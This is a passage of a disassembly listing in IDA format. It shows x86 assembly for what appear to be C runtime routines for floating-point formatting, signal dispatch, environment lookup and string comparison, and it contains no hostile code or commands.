loc_425360: ; CODE XREF: sub_42501D+371j
cmp dword_44276C, 1
jle short loc_425378
movzx eax, bl
push 4
push eax
call sub_41F37A
pop ecx
pop ecx
jmp short loc_425387
; ---------------------------------------------------------------------------
loc_425378: ; CODE XREF: sub_42501D+34Aj
mov ecx, off_442560
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425387: ; CODE XREF: sub_42501D+359j
test eax, eax
jz short loc_425390
mov bl, [edi]
inc edi
jmp short loc_425360
; ---------------------------------------------------------------------------
loc_425390: ; CODE XREF: sub_42501D+99j
; sub_42501D+E4j ...
dec edi
jmp short loc_425395
; ---------------------------------------------------------------------------
loc_425393: ; CODE XREF: sub_42501D+261j
; sub_42501D+2BCj
mov edi, ecx
loc_425395: ; CODE XREF: sub_42501D+2DDj
; sub_42501D+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_42547D
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_4253C1
cmp [ebp+var_45], 5
jl short loc_4253B5
inc [ebp+var_45]
loc_4253B5: ; CODE XREF: sub_42501D+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_4253C4
; ---------------------------------------------------------------------------
loc_4253C1: ; CODE XREF: sub_42501D+38Dj
mov eax, [ebp+var_C]
loc_4253C4: ; CODE XREF: sub_42501D+3A2j
cmp [ebp+var_4], 0
jbe loc_425473
loc_4253CE: ; CODE XREF: sub_42501D+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_4253DC
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_4253CE
; ---------------------------------------------------------------------------
loc_4253DC: ; CODE XREF: sub_42501D+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_424F56
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4253FB
neg eax
loc_4253FB: ; CODE XREF: sub_42501D+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_425406
add eax, [ebp+arg_10]
loc_425406: ; CODE XREF: sub_42501D+3E4j
cmp [ebp+var_24], ecx
jnz short loc_42540E
sub eax, [ebp+arg_14]
loc_42540E: ; CODE XREF: sub_42501D+3ECj
cmp eax, 1450h
jle short loc_425445
mov [ebp+var_2C], 1
loc_42541C: ; CODE XREF: sub_42501D+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_425428: ; CODE XREF: sub_42501D+454j
; sub_42501D+45Ej
cmp [ebp+var_2C], 0
jz short loc_42548E
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_4254A3
; ---------------------------------------------------------------------------
loc_425445: ; CODE XREF: sub_42501D+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_425455
mov [ebp+var_30], 1
jmp short loc_42541C
; ---------------------------------------------------------------------------
loc_425455: ; CODE XREF: sub_42501D+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_425C06
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_425428
; ---------------------------------------------------------------------------
loc_425473: ; CODE XREF: sub_42501D+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_425428
; ---------------------------------------------------------------------------
loc_42547D: ; CODE XREF: sub_42501D+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_4254A3
; ---------------------------------------------------------------------------
loc_42548E: ; CODE XREF: sub_42501D+40Fj
cmp [ebp+var_30], 0
jz short loc_4254A3
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_4254A3: ; CODE XREF: sub_42501D+426j
; sub_42501D+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_42501D endp
; ---------------------------------------------------------------------------
off_4254BE dd offset loc_425087 ; DATA XREF: sub_42501D+63r
dd offset loc_4250D6 ; jump table for switch statement
dd offset loc_42512D
dd offset loc_425157
dd offset loc_4251B2
dd offset loc_425229
dd offset loc_42525F
dd offset loc_4252A9
dd offset loc_425288
dd offset loc_42530D
dd offset loc_4252F7
dd offset loc_4252C3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4254EE proc near ; CODE XREF: sub_424449+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_425550
mov byte ptr [ebx+2], 2Dh
jmp short loc_425554
; ---------------------------------------------------------------------------
loc_425550: ; CODE XREF: sub_4254EE+5Aj
mov byte ptr [ebx+2], 20h
loc_425554: ; CODE XREF: sub_4254EE+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_42557A
test edi, edi
jnz short loc_42557A
cmp [ebp+arg_0], edi
jnz short loc_42557A
loc_425565: ; CODE XREF: sub_4254EE+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_425778
; ---------------------------------------------------------------------------
loc_42557A: ; CODE XREF: sub_4254EE+6Cj
; sub_4254EE+70j ...
cmp dx, si
jnz short loc_4255F9
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425593
cmp [ebp+arg_0], 0
jz short loc_4255A2
loc_425593: ; CODE XREF: sub_4254EE+9Dj
test edi, 40000000h
jnz short loc_4255A2
push offset a1Snan ; "1#SNAN"
jmp short loc_4255E8
; ---------------------------------------------------------------------------
loc_4255A2: ; CODE XREF: sub_4254EE+A3j
; sub_4254EE+ABj
test cx, cx
jz short loc_4255BC
cmp edi, 0C0000000h
jnz short loc_4255BC
cmp [ebp+arg_0], 0
jnz short loc_4255E3
push offset a1Ind ; "1#IND"
jmp short loc_4255CB
; ---------------------------------------------------------------------------
loc_4255BC: ; CODE XREF: sub_4254EE+B7j
; sub_4254EE+BFj
cmp edi, eax
jnz short loc_4255E3
cmp [ebp+arg_0], 0
jnz short loc_4255E3
push offset a1Inf ; "1#INF"
loc_4255CB: ; CODE XREF: sub_4254EE+CCj
lea eax, [ebx+4]
push eax
call sub_41C550
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_4255DA: ; CODE XREF: sub_4254EE+109j
and [ebp+var_4], 0
jmp loc_425751
; ---------------------------------------------------------------------------
loc_4255E3: ; CODE XREF: sub_4254EE+C5j
; sub_4254EE+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_4255E8: ; CODE XREF: sub_4254EE+B2j
lea eax, [ebx+4]
push eax
call sub_41C550
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_4255DA
; ---------------------------------------------------------------------------
loc_4255F9: ; CODE XREF: sub_4254EE+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_425C06
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_42565A
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_4259E6
pop ecx
pop ecx
loc_42565A: ; CODE XREF: sub_4254EE+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425674
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_425677
jmp loc_425565
; ---------------------------------------------------------------------------
loc_425674: ; CODE XREF: sub_4254EE+173j
mov edi, [ebp+arg_C]
loc_425677: ; CODE XREF: sub_4254EE+17Fj
cmp edi, 15h
jle short loc_42567F
push 15h
pop edi
loc_42567F: ; CODE XREF: sub_4254EE+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425695: ; CODE XREF: sub_4254EE+1B4j
lea eax, [ebp+var_10]
push eax
call sub_424EFB
dec [ebp+arg_14]
pop ecx
jnz short loc_425695
test esi, esi
jge short loc_4256BF
neg esi
and esi, 0FFh
jle short loc_4256BF
loc_4256B2: ; CODE XREF: sub_4254EE+1CFj
lea eax, [ebp+var_10]
push eax
call sub_424F29
dec esi
pop ecx
jnz short loc_4256B2
loc_4256BF: ; CODE XREF: sub_4254EE+1B8j
; sub_4254EE+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_42571C
mov [ebp+arg_C], ecx
loc_4256CF: ; CODE XREF: sub_4254EE+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_424EFB
lea eax, [ebp+var_10]
push eax
call sub_424EFB
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_424E9D
lea eax, [ebp+var_10]
push eax
call sub_424EFB
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_4256CF
mov eax, [ebp+arg_14]
loc_42571C: ; CODE XREF: sub_4254EE+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_425759
loc_425729: ; CODE XREF: sub_4254EE+248j
cmp eax, ecx
jb short loc_42573C
cmp byte ptr [eax], 39h
jnz short loc_425738
mov byte ptr [eax], 30h
dec eax
jmp short loc_425729
; ---------------------------------------------------------------------------
loc_425738: ; CODE XREF: sub_4254EE+242j
cmp eax, ecx
jnb short loc_425740
loc_42573C: ; CODE XREF: sub_4254EE+23Dj
inc eax
inc word ptr [ebx]
loc_425740: ; CODE XREF: sub_4254EE+24Cj
inc byte ptr [eax]
loc_425742: ; CODE XREF: sub_4254EE+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425751: ; CODE XREF: sub_4254EE+F0j
mov eax, [ebp+var_4]
loc_425754: ; CODE XREF: sub_4254EE+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425759: ; CODE XREF: sub_4254EE+239j
; sub_4254EE+275j
cmp eax, ecx
jb short loc_425769
cmp byte ptr [eax], 30h
jnz short loc_425765
dec eax
jmp short loc_425759
; ---------------------------------------------------------------------------
loc_425765: ; CODE XREF: sub_4254EE+272j
cmp eax, ecx
jnb short loc_425742
loc_425769: ; CODE XREF: sub_4254EE+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_425778: ; CODE XREF: sub_4254EE+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425754
sub_4254EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425781 proc near ; CODE XREF: sub_4223CC+225Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_4257E8
dec eax
dec eax
jz short loc_4257D9
sub eax, 4
jz short loc_4257D9
sub eax, 3
jz short loc_4257D9
sub eax, 4
jz short loc_4257CC
sub eax, 6
jz short loc_4257BF
dec eax
jz short loc_4257B2
or eax, 0FFFFFFFFh
jmp loc_4258AA
; ---------------------------------------------------------------------------
loc_4257B2: ; CODE XREF: sub_425781+27j
mov esi, dword_4E17F4
mov eax, offset dword_4E17F4
jmp short loc_4257F3
; ---------------------------------------------------------------------------
loc_4257BF: ; CODE XREF: sub_425781+24j
mov esi, dword_4E17F0
mov eax, offset dword_4E17F0
jmp short loc_4257F3
; ---------------------------------------------------------------------------
loc_4257CC: ; CODE XREF: sub_425781+1Fj
mov esi, dword_4E17F8
mov eax, offset dword_4E17F8
jmp short loc_4257F3
; ---------------------------------------------------------------------------
loc_4257D9: ; CODE XREF: sub_425781+10j
; sub_425781+15j ...
push edi
call sub_4258AE
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_4257F3
; ---------------------------------------------------------------------------
loc_4257E8: ; CODE XREF: sub_425781+Cj
mov esi, dword_4E17EC
mov eax, offset dword_4E17EC
loc_4257F3: ; CODE XREF: sub_425781+3Cj
; sub_425781+49j ...
cmp esi, 1
jnz short loc_4257FF
xor eax, eax
jmp loc_4258AA
; ---------------------------------------------------------------------------
loc_4257FF: ; CODE XREF: sub_425781+75j
test esi, esi
jnz short loc_42580A
push 3
call sub_41BE72
loc_42580A: ; CODE XREF: sub_425781+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_42581C
cmp edi, 0Bh
jz short loc_42581C
cmp edi, 4
jnz short loc_425842
loc_42581C: ; CODE XREF: sub_425781+8Fj
; sub_425781+94j
mov ebx, dword_4E15D0
and dword_4E15D0, 0
cmp edi, ecx
jnz short loc_425871
mov edx, dword_442E3C
mov dword_442E3C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425845
; ---------------------------------------------------------------------------
loc_425842: ; CODE XREF: sub_425781+99j
mov ebx, [ebp+arg_0]
loc_425845: ; CODE XREF: sub_425781+BFj
cmp edi, ecx
jnz short loc_425871
mov eax, dword_442E30
mov ecx, dword_442E34
add ecx, eax
cmp eax, ecx
jge short loc_425878
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:442DC0h[edx*4]
loc_425866: ; CODE XREF: sub_425781+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425866
jmp short loc_425878
; ---------------------------------------------------------------------------
loc_425871: ; CODE XREF: sub_425781+AAj
; sub_425781+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425886
loc_425878: ; CODE XREF: sub_425781+D7j
; sub_425781+EEj
push dword_442E3C
push 8
call esi ; dword_4E17F4
pop ecx
pop ecx
jmp short loc_425894
; ---------------------------------------------------------------------------
loc_425886: ; CODE XREF: sub_425781+F5j
push edi
call esi ; dword_4E17F4
cmp edi, 0Bh
pop ecx
jz short loc_425894
cmp edi, 4
jnz short loc_4258A7
loc_425894: ; CODE XREF: sub_425781+103j
; sub_425781+10Cj
cmp edi, 8
mov dword_4E15D0, ebx
jnz short loc_4258A7
mov eax, [ebp+arg_0]
mov dword_442E3C, eax
loc_4258A7: ; CODE XREF: sub_425781+111j
; sub_425781+11Cj
xor eax, eax
pop ebx
loc_4258AA: ; CODE XREF: sub_425781+2Cj
; sub_425781+79j
pop edi
pop esi
pop ebp
retn
sub_425781 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4258AE proc near ; CODE XREF: sub_425781+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_442E38
cmp dword_442DBC, edx
push esi
mov eax, offset dword_442DB8
jz short loc_4258DC
lea esi, [ecx+ecx*2]
lea esi, ds:442DB8h[esi*4]
loc_4258D0: ; CODE XREF: sub_4258AE+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_4258DC
cmp [eax+4], edx
jnz short loc_4258D0
loc_4258DC: ; CODE XREF: sub_4258AE+16j
; sub_4258AE+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:442DB8h[ecx*4]
cmp eax, ecx
jnb short loc_4258F0
cmp [eax+4], edx
jz short locret_4258F2
loc_4258F0: ; CODE XREF: sub_4258AE+3Bj
xor eax, eax
locret_4258F2: ; CODE XREF: sub_4258AE+40j
retn
sub_4258AE endp
; =============== S U B R O U T I N E =======================================
sub_4258F3 proc near ; CODE XREF: sub_42464C+23p
arg_0 = dword ptr 4
cmp dword_4E2B88, 0
push ebx
push esi
mov esi, dword_4E1520
push edi
jz short loc_42596A
test esi, esi
jnz short loc_425924
cmp dword_4E1528, esi
jz short loc_42596A
call sub_425CC1
test eax, eax
jnz short loc_42596A
mov esi, dword_4E1520
test esi, esi
jz short loc_42596A
loc_425924: ; CODE XREF: sub_4258F3+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_42596A
push ebx
call sub_41B890
pop ecx
mov edi, eax
loc_425935: ; CODE XREF: sub_4258F3+6Dj
mov eax, [esi]
test eax, eax
jz short loc_42596A
push eax
call sub_41B890
cmp eax, edi
pop ecx
jbe short loc_42595D
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_42595D
push edi
push ebx
push eax
call sub_425C82
add esp, 0Ch
test eax, eax
jz short loc_425962
loc_42595D: ; CODE XREF: sub_4258F3+51j
; sub_4258F3+59j
add esi, 4
jmp short loc_425935
; ---------------------------------------------------------------------------
loc_425962: ; CODE XREF: sub_4258F3+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_42596C
; ---------------------------------------------------------------------------
loc_42596A: ; CODE XREF: sub_4258F3+10j
; sub_4258F3+1Cj ...
xor eax, eax
loc_42596C: ; CODE XREF: sub_4258F3+75j
pop edi
pop esi
pop ebx
retn
sub_4258F3 endp
; =============== S U B R O U T I N E =======================================
sub_425970 proc near ; CODE XREF: .nsp0:00424DC1p
; .nsp0:00424E0Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4E1920
jnb short loc_4259D7
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4E1820[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_4259D7
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_4259B0
and cl, 7Fh
jmp short loc_4259BD
; ---------------------------------------------------------------------------
loc_4259B0: ; CODE XREF: sub_425970+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_4259CB
or cl, 80h
loc_4259BD: ; CODE XREF: sub_425970+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4259CB: ; CODE XREF: sub_425970+48j
mov dword_4E14F8, 16h
jmp short loc_4259E1
; ---------------------------------------------------------------------------
loc_4259D7: ; CODE XREF: sub_425970+Bj
; sub_425970+27j
mov dword_4E14F8, 9
loc_4259E1: ; CODE XREF: sub_425970+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425970 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4259E6 proc near ; CODE XREF: sub_4254EE+165p
; sub_425C06+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425BE6
cmp cx, 7FFFh
jnb loc_425BE6
cmp dx, 0BFFDh
ja loc_425BE6
cmp dx, 3FBFh
ja short loc_425A4F
xor eax, eax
jmp short loc_425A89
; ---------------------------------------------------------------------------
loc_425A4F: ; CODE XREF: sub_4259E6+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425A71
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425A71
xor eax, eax
cmp [esi+4], eax
jnz short loc_425A73
cmp [esi], eax
jnz short loc_425A73
jmp loc_425BE0
; ---------------------------------------------------------------------------
loc_425A71: ; CODE XREF: sub_4259E6+71j
; sub_4259E6+79j
xor eax, eax
loc_425A73: ; CODE XREF: sub_4259E6+80j
; sub_4259E6+84j
cmp cx, ax
jnz short loc_425A96
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425A96
cmp [ebx+4], eax
jnz short loc_425A96
cmp [ebx], eax
jnz short loc_425A96
loc_425A89: ; CODE XREF: sub_4259E6+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_425C01
; ---------------------------------------------------------------------------
loc_425A96: ; CODE XREF: sub_4259E6+90j
; sub_4259E6+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425AA6: ; CODE XREF: sub_4259E6+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425AFA
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425AC2: ; CODE XREF: sub_4259E6+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_424E7C
add esp, 0Ch
test eax, eax
jz short loc_425AED
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425AED: ; CODE XREF: sub_4259E6+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425AC2
loc_425AFA: ; CODE XREF: sub_4259E6+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425AA6
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425B3D
loc_425B18: ; CODE XREF: sub_4259E6+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425B36
lea eax, [ebp+var_24]
push eax
call sub_424EFB
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425B18
loc_425B36: ; CODE XREF: sub_4259E6+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425B76
loc_425B3D: ; CODE XREF: sub_4259E6+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425B76
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425B56: ; CODE XREF: sub_4259E6+184j
test byte ptr [ebp+var_24], 1
jz short loc_425B5F
inc [ebp+var_14]
loc_425B5F: ; CODE XREF: sub_4259E6+174j
lea eax, [ebp+var_24]
push eax
call sub_424F29
dec ebx
pop ecx
jnz short loc_425B56
cmp [ebp+var_14], 0
jz short loc_425B76
or byte ptr [ebp+var_24], 1
loc_425B76: ; CODE XREF: sub_4259E6+155j
; sub_4259E6+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425B8D
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425BC2
loc_425B8D: ; CODE XREF: sub_4259E6+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425BBF
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425BBA
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425BB4
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425BC2
; ---------------------------------------------------------------------------
loc_425BB4: ; CODE XREF: sub_4259E6+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425BC2
; ---------------------------------------------------------------------------
loc_425BBA: ; CODE XREF: sub_4259E6+1B5j
inc [ebp+var_20+2]
jmp short loc_425BC2
; ---------------------------------------------------------------------------
loc_425BBF: ; CODE XREF: sub_4259E6+1ABj
inc [ebp+var_24+2]
loc_425BC2: ; CODE XREF: sub_4259E6+1A5j
; sub_4259E6+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425BE6
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425BE0: ; CODE XREF: sub_4259E6+86j
mov [esi+0Ah], ax
jmp short loc_425C01
; ---------------------------------------------------------------------------
loc_425BE6: ; CODE XREF: sub_4259E6+42j
; sub_4259E6+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_425C01: ; CODE XREF: sub_4259E6+ABj
; sub_4259E6+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_4259E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C06 proc near ; CODE XREF: sub_42501D+440p
; sub_4254EE+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_443038
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_425C7F
jge short loc_425C2E
mov eax, [ebp+arg_4]
mov ebx, offset dword_443198
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_425C2E: ; CODE XREF: sub_425C06+16j
cmp [ebp+arg_8], ecx
jnz short loc_425C39
mov eax, [ebp+arg_0]
mov [eax], cx
loc_425C39: ; CODE XREF: sub_425C06+2Bj
cmp [ebp+arg_4], ecx
jz short loc_425C7F
push esi
push edi
loc_425C40: ; CODE XREF: sub_425C06+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_425C78
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_425C6B
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_425C6B: ; CODE XREF: sub_425C06+57j
push esi
push [ebp+arg_0]
call sub_4259E6
pop ecx
pop ecx
xor ecx, ecx
loc_425C78: ; CODE XREF: sub_425C06+49j
cmp [ebp+arg_4], ecx
jnz short loc_425C40
pop edi
pop esi
loc_425C7F: ; CODE XREF: sub_425C06+14j
; sub_425C06+36j
pop ebx
leave
retn
sub_425C06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C82 proc near ; CODE XREF: sub_4258F3+5Ep
; sub_426133+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_425C8F
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425C8F: ; CODE XREF: sub_425C82+7j
push dword_4E2944
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4E2B64
call sub_425D2F
add esp, 1Ch
test eax, eax
jnz short loc_425CBC
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425CBC: ; CODE XREF: sub_425C82+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_425C82 endp
; =============== S U B R O U T I N E =======================================
sub_425CC1 proc near ; CODE XREF: sub_4258F3+1Ep
; sub_425FAC+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4E1528
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_425D22
mov ebx, dword_427180
loc_425CDA: ; CODE XREF: sub_425CC1+5Fj
push edi
push edi
push edi
push edi
